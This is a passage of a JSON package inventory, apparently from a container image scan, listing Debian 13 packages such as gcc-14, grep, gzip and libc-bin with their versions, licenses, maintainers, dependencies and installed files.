"AnalyzedBy": "dpkg" }, { "ID": "gcc-14-base@14.2.0-19", "Name": "gcc-14-base", "Identifier": { "PURL": "pkg:deb/debian/gcc-14-base@14.2.0-19?arch=amd64\u0026distro=debian-13.6", "UID": "371c061d08215a1b" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Licenses": [ "GPL-2.0-or-later", "GPL-3.0-only", "GFDL-1.2-only", "Artistic-2.0", "LGPL-2.0-or-later" ], "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/share/doc/gcc-14-base/README.Debian.amd64.gz", "/usr/share/doc/gcc-14-base/TODO.Debian", "/usr/share/doc/gcc-14-base/changelog.Debian.gz", "/usr/share/doc/gcc-14-base/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "gcc-14-x86-64-linux-gnu@14.2.0-19", "Name": "gcc-14-x86-64-linux-gnu", "Identifier": { "PURL": "pkg:deb/debian/gcc-14-x86-64-linux-gnu@14.2.0-19?arch=amd64\u0026distro=debian-13.6", "UID": "4b3f61cd07a8e962" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "binutils-x86-64-linux-gnu@2.44-3", "cpp-14-x86-64-linux-gnu@14.2.0-19", "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u3", "libcc1-0@14.2.0-19", "libgcc-14-dev@14.2.0-19", "libgcc-s1@14.2.0-19", "libgmp10@2:6.3.0+dfsg-3", "libisl23@0.27-1", "libmpc3@1.3.1-1+b3", "libmpfr6@4.2.2-1", "libstdc++6@14.2.0-19", "libzstd1@1.5.7+dfsg-1", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/bin/x86_64-linux-gnu-gcc-14", "/usr/bin/x86_64-linux-gnu-gcc-ar-14", "/usr/bin/x86_64-linux-gnu-gcc-nm-14", "/usr/bin/x86_64-linux-gnu-gcc-ranlib-14", "/usr/bin/x86_64-linux-gnu-gcov-14", "/usr/bin/x86_64-linux-gnu-gcov-dump-14", "/usr/bin/x86_64-linux-gnu-gcov-tool-14", "/usr/bin/x86_64-linux-gnu-lto-dump-14", "/usr/lib/gcc/x86_64-linux-gnu/14/libgomp.spec", "/usr/lib/gcc/x86_64-linux-gnu/14/libhwasan_preinit.o", "/usr/lib/gcc/x86_64-linux-gnu/14/libitm.spec", "/usr/lib/gcc/x86_64-linux-gnu/14/libsanitizer.spec", "/usr/lib/gcc/x86_64-linux-gnu/14/plugin/libcc1plugin.so.0.0.0", "/usr/lib/gcc/x86_64-linux-gnu/14/plugin/libcp1plugin.so.0.0.0", "/usr/libexec/gcc/x86_64-linux-gnu/14/collect2", "/usr/libexec/gcc/x86_64-linux-gnu/14/liblto_plugin.so", "/usr/libexec/gcc/x86_64-linux-gnu/14/lto-wrapper", "/usr/libexec/gcc/x86_64-linux-gnu/14/lto1", "/usr/share/lintian/overrides/gcc-14-x86-64-linux-gnu", "/usr/share/man/man1/x86_64-linux-gnu-gcc-ar-14.1.gz", "/usr/share/man/man1/x86_64-linux-gnu-gcc-nm-14.1.gz", "/usr/share/man/man1/x86_64-linux-gnu-gcc-ranlib-14.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "gcc-x86-64-linux-gnu@4:14.2.0-1", "Name": "gcc-x86-64-linux-gnu", "Identifier": { "PURL": "pkg:deb/debian/gcc-x86-64-linux-gnu@14.2.0-1?arch=amd64\u0026distro=debian-13.6\u0026epoch=4", "UID": "3c841a7524931080" }, "Version": "14.2.0", "Release": "1", "Epoch": 4, "Arch": "amd64", "SrcName": "gcc-defaults", "SrcVersion": "1.220", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "cpp-x86-64-linux-gnu@4:14.2.0-1", "gcc-14-x86-64-linux-gnu@14.2.0-19" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/share/lintian/overrides/gcc-x86-64-linux-gnu" ], "AnalyzedBy": "dpkg" }, { "ID": "grep@3.11-4", "Name": "grep", "Identifier": { "PURL": "pkg:deb/debian/grep@3.11-4?arch=amd64\u0026distro=debian-13.6", "UID": "6ce8b4eed9c0d137" }, "Version": "3.11", "Release": "4", "Arch": "amd64", "SrcName": "grep", "SrcVersion": "3.11", "SrcRelease": "4", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only" ], "Maintainer": "Anibal Monsalve Salazar \u003canibal@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/egrep", "/usr/bin/fgrep", "/usr/bin/grep", "/usr/bin/rgrep", "/usr/share/doc/grep/AUTHORS", "/usr/share/doc/grep/NEWS.Debian.gz", "/usr/share/doc/grep/NEWS.gz", "/usr/share/doc/grep/README", "/usr/share/doc/grep/THANKS.gz", "/usr/share/doc/grep/TODO.gz", "/usr/share/doc/grep/changelog.Debian.gz", "/usr/share/doc/grep/changelog.gz", "/usr/share/doc/grep/copyright", "/usr/share/info/grep.info.gz", "/usr/share/locale/af/LC_MESSAGES/grep.mo", "/usr/share/locale/be/LC_MESSAGES/grep.mo", "/usr/share/locale/bg/LC_MESSAGES/grep.mo", "/usr/share/locale/ca/LC_MESSAGES/grep.mo", "/usr/share/locale/cs/LC_MESSAGES/grep.mo", "/usr/share/locale/da/LC_MESSAGES/grep.mo", "/usr/share/locale/de/LC_MESSAGES/grep.mo", "/usr/share/locale/el/LC_MESSAGES/grep.mo", "/usr/share/locale/eo/LC_MESSAGES/grep.mo", "/usr/share/locale/es/LC_MESSAGES/grep.mo", "/usr/share/locale/et/LC_MESSAGES/grep.mo", "/usr/share/locale/eu/LC_MESSAGES/grep.mo", "/usr/share/locale/fi/LC_MESSAGES/grep.mo", "/usr/share/locale/fr/LC_MESSAGES/grep.mo", "/usr/share/locale/ga/LC_MESSAGES/grep.mo", "/usr/share/locale/gl/LC_MESSAGES/grep.mo", "/usr/share/locale/he/LC_MESSAGES/grep.mo", "/usr/share/locale/hr/LC_MESSAGES/grep.mo", "/usr/share/locale/hu/LC_MESSAGES/grep.mo", "/usr/share/locale/id/LC_MESSAGES/grep.mo", "/usr/share/locale/it/LC_MESSAGES/grep.mo", "/usr/share/locale/ja/LC_MESSAGES/grep.mo", "/usr/share/locale/ka/LC_MESSAGES/grep.mo", "/usr/share/locale/ko/LC_MESSAGES/grep.mo", "/usr/share/locale/ky/LC_MESSAGES/grep.mo", "/usr/share/locale/lt/LC_MESSAGES/grep.mo", "/usr/share/locale/nb/LC_MESSAGES/grep.mo", "/usr/share/locale/nl/LC_MESSAGES/grep.mo", "/usr/share/locale/pa/LC_MESSAGES/grep.mo", "/usr/share/locale/pl/LC_MESSAGES/grep.mo", "/usr/share/locale/pt/LC_MESSAGES/grep.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/grep.mo", "/usr/share/locale/ro/LC_MESSAGES/grep.mo", "/usr/share/locale/ru/LC_MESSAGES/grep.mo", "/usr/share/locale/sk/LC_MESSAGES/grep.mo", "/usr/share/locale/sl/LC_MESSAGES/grep.mo", "/usr/share/locale/sr/LC_MESSAGES/grep.mo", "/usr/share/locale/sv/LC_MESSAGES/grep.mo", "/usr/share/locale/ta/LC_MESSAGES/grep.mo", "/usr/share/locale/th/LC_MESSAGES/grep.mo", "/usr/share/locale/tr/LC_MESSAGES/grep.mo", "/usr/share/locale/uk/LC_MESSAGES/grep.mo", "/usr/share/locale/vi/LC_MESSAGES/grep.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/grep.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/grep.mo", "/usr/share/man/man1/grep.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "gzip@1.13-1", "Name": "gzip", "Identifier": { "PURL": "pkg:deb/debian/gzip@1.13-1?arch=amd64\u0026distro=debian-13.6", "UID": "954545ce99bc687e" }, "Version": "1.13", "Release": "1", "Arch": "amd64", "SrcName": "gzip", "SrcVersion": "1.13", "SrcRelease": "1", "Licenses": [ "GPL-3.0-or-later", "GFDL-1.3+-no-invariant", "FSF-manpages", "GPL-3.0-only", "GFDL-3" ], "Maintainer": "Milan Kupcevic \u003cmilan@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/gunzip", "/usr/bin/gzexe", "/usr/bin/gzip", "/usr/bin/zcat", "/usr/bin/zcmp", "/usr/bin/zdiff", "/usr/bin/zegrep", "/usr/bin/zfgrep", "/usr/bin/zforce", "/usr/bin/zgrep", "/usr/bin/zless", "/usr/bin/zmore", "/usr/bin/znew", "/usr/share/doc/gzip/NEWS.gz", "/usr/share/doc/gzip/README.gz", "/usr/share/doc/gzip/TODO", "/usr/share/doc/gzip/changelog.Debian.gz", "/usr/share/doc/gzip/changelog.gz", "/usr/share/doc/gzip/copyright", "/usr/share/info/gzip.info.gz", "/usr/share/man/man1/gzexe.1.gz", "/usr/share/man/man1/gzip.1.gz", "/usr/share/man/man1/zdiff.1.gz", "/usr/share/man/man1/zforce.1.gz", "/usr/share/man/man1/zgrep.1.gz", "/usr/share/man/man1/zless.1.gz", "/usr/share/man/man1/zmore.1.gz", "/usr/share/man/man1/znew.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "hostname@3.25", "Name": "hostname", "Identifier": { "PURL": "pkg:deb/debian/hostname@3.25?arch=amd64\u0026distro=debian-13.6", "UID": "641772722328aedf" }, "Version": "3.25", "Arch": "amd64", "SrcName": "hostname", "SrcVersion": "3.25", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Michael Meskes \u003cmeskes@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/hostname", "/usr/share/doc/hostname/changelog.gz", "/usr/share/doc/hostname/copyright", "/usr/share/man/man1/hostname.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "init-system-helpers@1.69~deb13u1", "Name": "init-system-helpers", "Identifier": { "PURL": "pkg:deb/debian/init-system-helpers@1.69~deb13u1?arch=all\u0026distro=debian-13.6", "UID": "cb52819ec2f1a236" }, "Version": "1.69~deb13u1", "Arch": "all", "SrcName": "init-system-helpers", "SrcVersion": "1.69~deb13u1", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Debian systemd Maintainers \u003cpkg-systemd-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/deb-systemd-helper", "/usr/bin/deb-systemd-invoke", "/usr/sbin/invoke-rc.d", "/usr/sbin/service", "/usr/sbin/update-rc.d", "/usr/share/bug/init-system-helpers/control", "/usr/share/doc/init-system-helpers/README.invoke-rc.d.gz", "/usr/share/doc/init-system-helpers/README.policy-rc.d.gz", "/usr/share/doc/init-system-helpers/changelog.gz", "/usr/share/doc/init-system-helpers/copyright", "/usr/share/lintian/overrides/init-system-helpers", "/usr/share/man/man1/deb-systemd-helper.1p.gz", "/usr/share/man/man1/deb-systemd-invoke.1p.gz", "/usr/share/man/man8/invoke-rc.d.8.gz", "/usr/share/man/man8/service.8.gz", "/usr/share/man/man8/update-rc.d.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "krb5-locales@1.21.3-5+deb13u1", "Name": "krb5-locales", "Identifier": { "PURL": "pkg:deb/debian/krb5-locales@1.21.3-5%2Bdeb13u1?arch=all\u0026distro=debian-13.6", "UID": "a139eab031c37111" }, "Version": "1.21.3", "Release": "5+deb13u1", "Arch": "all", "SrcName": "krb5", "SrcVersion": "1.21.3", "SrcRelease": "5+deb13u1", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/share/doc/krb5-locales/changelog.Debian.gz", "/usr/share/doc/krb5-locales/copyright", "/usr/share/locale/de/LC_MESSAGES/mit-krb5.mo", "/usr/share/locale/en_US/LC_MESSAGES/mit-krb5.mo", "/usr/share/locale/ka/LC_MESSAGES/mit-krb5.mo" ], "AnalyzedBy": "dpkg" }, { "ID": "libacl1@2.3.2-2+b1", "Name": "libacl1", "Identifier": { "PURL": "pkg:deb/debian/libacl1@2.3.2-2%2Bb1?arch=amd64\u0026distro=debian-13.6", "UID": "f9f7789d147b9636" }, "Version": "2.3.2", "Release": "2+b1", "Arch": "amd64", "SrcName": "acl", "SrcVersion": "2.3.2", "SrcRelease": "2", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "LGPL-2.0-or-later", "LGPL-2.1-only" ], "Maintainer": "Guillem Jover \u003cguillem@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libacl.so.1.1.2302", "/usr/share/doc/libacl1/changelog.Debian.amd64.gz", "/usr/share/doc/libacl1/changelog.Debian.gz", "/usr/share/doc/libacl1/changelog.gz", "/usr/share/doc/libacl1/copyright", "/usr/share/lintian/overrides/libacl1" ], "AnalyzedBy": "dpkg" }, { "ID": "libapt-pkg7.0@3.0.3", "Name": "libapt-pkg7.0", "Identifier": { "PURL": "pkg:deb/debian/libapt-pkg7.0@3.0.3?arch=amd64\u0026distro=debian-13.6", "UID": "3c9c23cb09a0c42a" }, "Version": "3.0.3", "Arch": "amd64", "SrcName": "apt", "SrcVersion": "3.0.3", "Licenses": [ "GPL-2.0-or-later", "curl", "BSD-3-Clause", "MIT", "GPL-2.0-only" ], "Maintainer": "APT Development Team \u003cdeity@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbz2-1.0@1.0.8-6", "libc6@2.41-12+deb13u3", "libgcc-s1@14.2.0-19", "liblz4-1@1.10.0-4", "liblzma5@5.8.1-1+deb13u1", "libssl3t64@3.5.6-1~deb13u2", "libstdc++6@14.2.0-19", "libsystemd0@257.13-1~deb13u1", "libudev1@257.13-1~deb13u1", "libxxhash0@0.8.3-2", "libzstd1@1.5.7+dfsg-1", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libapt-pkg.so.7.0.0", "/usr/share/doc/libapt-pkg7.0/NEWS.Debian.gz", "/usr/share/doc/libapt-pkg7.0/changelog.gz", "/usr/share/doc/libapt-pkg7.0/copyright", "/usr/share/locale/ar/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/ast/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/bg/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/bs/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/ca/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/cs/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/cy/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/da/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/de/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/dz/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/el/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/es/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/eu/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/fi/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/fr/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/gl/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/hu/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/it/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/ja/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/km/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/ko/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/ku/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/lt/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/mr/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/nb/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/ne/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/nl/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/nn/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/pl/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/pt/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/ro/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/ru/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/sk/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/sl/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/sv/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/th/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/tl/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/tr/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/uk/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/vi/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/libapt-pkg7.0.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/libapt-pkg7.0.mo" ], "AnalyzedBy": "dpkg" }, { "ID": "libasan8@14.2.0-19", "Name": "libasan8", "Identifier": { "PURL": "pkg:deb/debian/libasan8@14.2.0-19?arch=amd64\u0026distro=debian-13.6", "UID": "7cd0f70d21bc0022" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u3", "libgcc-s1@14.2.0-19" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libasan.so.8.0.0", "/usr/share/lintian/overrides/libasan8" ], "AnalyzedBy": "dpkg" }, { "ID": "libatomic1@14.2.0-19", "Name": "libatomic1", "Identifier": { "PURL": "pkg:deb/debian/libatomic1@14.2.0-19?arch=amd64\u0026distro=debian-13.6", "UID": "3b3057bbe3ae5e7" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libatomic.so.1.2.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libattr1@1:2.5.2-3", "Name": "libattr1", "Identifier": { "PURL": "pkg:deb/debian/libattr1@2.5.2-3?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "90d554a582a8683b" }, "Version": "2.5.2", "Release": "3", "Epoch": 1, "Arch": "amd64", "SrcName": "attr", "SrcVersion": "2.5.2", "SrcRelease": "3", "SrcEpoch": 1, "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "LGPL-2.0-or-later", "LGPL-2.1-only" ], "Maintainer": "Guillem Jover \u003cguillem@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libattr.so.1.1.2502", "/usr/share/doc/libattr1/changelog.Debian.gz", "/usr/share/doc/libattr1/changelog.gz", "/usr/share/doc/libattr1/copyright", "/usr/share/lintian/overrides/libattr1" ], "AnalyzedBy": "dpkg" }, { "ID": "libaudit-common@1:4.0.2-2", "Name": "libaudit-common", "Identifier": { "PURL": "pkg:deb/debian/libaudit-common@4.0.2-2?arch=all\u0026distro=debian-13.6\u0026epoch=1", "UID": "d20cd9a11d8e018d" }, "Version": "4.0.2", "Release": "2", "Epoch": 1, "Arch": "all", "SrcName": "audit", "SrcVersion": "4.0.2", "SrcRelease": "2", "SrcEpoch": 1, "Licenses": [ "GPL-2.0-only", "LGPL-2.1-only", "GPL-1.0-only" ], "Maintainer": "Laurent Bigonville \u003cbigon@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/share/doc/libaudit-common/changelog.Debian.gz", "/usr/share/doc/libaudit-common/changelog.gz", "/usr/share/doc/libaudit-common/copyright", "/usr/share/man/man5/libaudit.conf.5.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libaudit1@1:4.0.2-2+b2", "Name": "libaudit1", "Identifier": { "PURL": "pkg:deb/debian/libaudit1@4.0.2-2%2Bb2?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "c47a55b8e27ace3c" }, "Version": "4.0.2", "Release": "2+b2", "Epoch": 1, "Arch": "amd64", "SrcName": "audit", "SrcVersion": "4.0.2", "SrcRelease": "2", "SrcEpoch": 1, "Licenses": [ "GPL-2.0-only", "LGPL-2.1-only", "GPL-1.0-only" ], "Maintainer": "Laurent Bigonville \u003cbigon@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libaudit-common@1:4.0.2-2", "libc6@2.41-12+deb13u3", "libcap-ng0@0.8.5-4+b1" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0", "/usr/share/doc/libaudit1/changelog.Debian.amd64.gz", "/usr/share/doc/libaudit1/changelog.Debian.gz", "/usr/share/doc/libaudit1/changelog.gz", "/usr/share/doc/libaudit1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libbinutils@2.44-3", "Name": "libbinutils", "Identifier": { "PURL": "pkg:deb/debian/libbinutils@2.44-3?arch=amd64\u0026distro=debian-13.6", "UID": "cbee5b2b413c6647" }, "Version": "2.44", "Release": "3", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.44", "SrcRelease": "3", "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "binutils-common@2.44-3", "libc6@2.41-12+deb13u3", "libsframe1@2.44-3", "libzstd1@1.5.7+dfsg-1", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libbfd-2.44-system.so", "/usr/lib/x86_64-linux-gnu/libopcodes-2.44-system.so", "/usr/share/lintian/overrides/libbinutils" ], "AnalyzedBy": "dpkg" }, { "ID": "libblkid1@2.41-5", "Name": "libblkid1", "Identifier": { "PURL": "pkg:deb/debian/libblkid1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "51bf0af8d40f4a01" }, "Version": "2.41", "Release": "5", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.41", "SrcRelease": "5", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "LGPL-2.1-or-later", "public-domain", "BSD-4-Clause", "MIT", "ISC", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "BSD-2-Clause", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "Chris Hofstaedtler \u003czeha@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libblkid.so.1.1.0", "/usr/share/doc/libblkid1/NEWS.Debian.gz", "/usr/share/doc/libblkid1/changelog.Debian.gz", "/usr/share/doc/libblkid1/changelog.gz", "/usr/share/doc/libblkid1/copyright", "/usr/share/lintian/overrides/libblkid1" ], "AnalyzedBy": "dpkg" }, { "ID": "libbsd0@0.12.2-2", "Name": "libbsd0", "Identifier": { "PURL": "pkg:deb/debian/libbsd0@0.12.2-2?arch=amd64\u0026distro=debian-13.6", "UID": "a8f4afa42f768363" }, "Version": "0.12.2", "Release": "2", "Arch": "amd64", "SrcName": "libbsd", "SrcVersion": "0.12.2", "SrcRelease": "2", "Licenses": [ "BSD-3-Clause", "BSD-3-clause-Regents", "BSD-2-Clause-NetBSD", "BSD-3-clause-author", "BSD-3-clause-John-Birrell", "BSD-5-clause-Peter-Wemm", "BSD-2-Clause", "BSD-2-clause-verbatim", "BSD-2-clause-author", "ISC", "ISC-Original", "MIT", "public-domain", "Beerware" ], "Maintainer": "Guillem Jover \u003cguillem@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libmd0@1.1.0-2+b1" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libbsd.so.0.12.2", "/usr/share/doc/libbsd0/changelog.Debian.gz", "/usr/share/doc/libbsd0/changelog.gz", "/usr/share/doc/libbsd0/copyright", "/usr/share/lintian/overrides/libbsd0" ], "AnalyzedBy": "dpkg" }, { "ID": "libbz2-1.0@1.0.8-6", "Name": "libbz2-1.0", "Identifier": { "PURL": "pkg:deb/debian/libbz2-1.0@1.0.8-6?arch=amd64\u0026distro=debian-13.6", "UID": "2da429aca83dde92" }, "Version": "1.0.8", "Release": "6", "Arch": "amd64", "SrcName": "bzip2", "SrcVersion": "1.0.8", "SrcRelease": "6", "Licenses": [ "BSD-3-Clause", "GPL-2.0-only" ], "Maintainer": "Anibal Monsalve Salazar \u003canibal@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libbz2.so.1.0.4", "/usr/share/doc/libbz2-1.0/changelog.Debian.gz", "/usr/share/doc/libbz2-1.0/changelog.gz", "/usr/share/doc/libbz2-1.0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libc-bin@2.41-12+deb13u3", "Name": "libc-bin", "Identifier": { "PURL": "pkg:deb/debian/libc-bin@2.41-12%2Bdeb13u3?arch=amd64\u0026distro=debian-13.6", "UID": "c45af597301c8c0b" }, "Version": "2.41", "Release": "12+deb13u3", "Arch": "amd64", "SrcName": "glibc", "SrcVersion": "2.41", "SrcRelease": "12+deb13u3", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.0-or-later", "LGPL-2.1+-with-link-exception", "LGPL-3.0-or-later", "GPL-2.0-or-later", "GPL-2+-with-link-exception", "GPL-2.0-only", "GPL-3.0-or-later", "FSFAP", "Carnegie", "Inner-Net", "MIT-like-Lord", "BSD-like-Spencer", "PCRE", "BSD-3-clause-Carnegie", "Unicode-DFS-2016", "BSL-1.0", "SunPro", "CORE-MATH", "BSD-3-clause-Berkeley", "BSD-3-clause-WIDE", "BSD-2-Clause", "BSD-3-clause-Oracle", "DEC", "IBM", "ISC", "Univ-Coimbra", "public-domain", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, 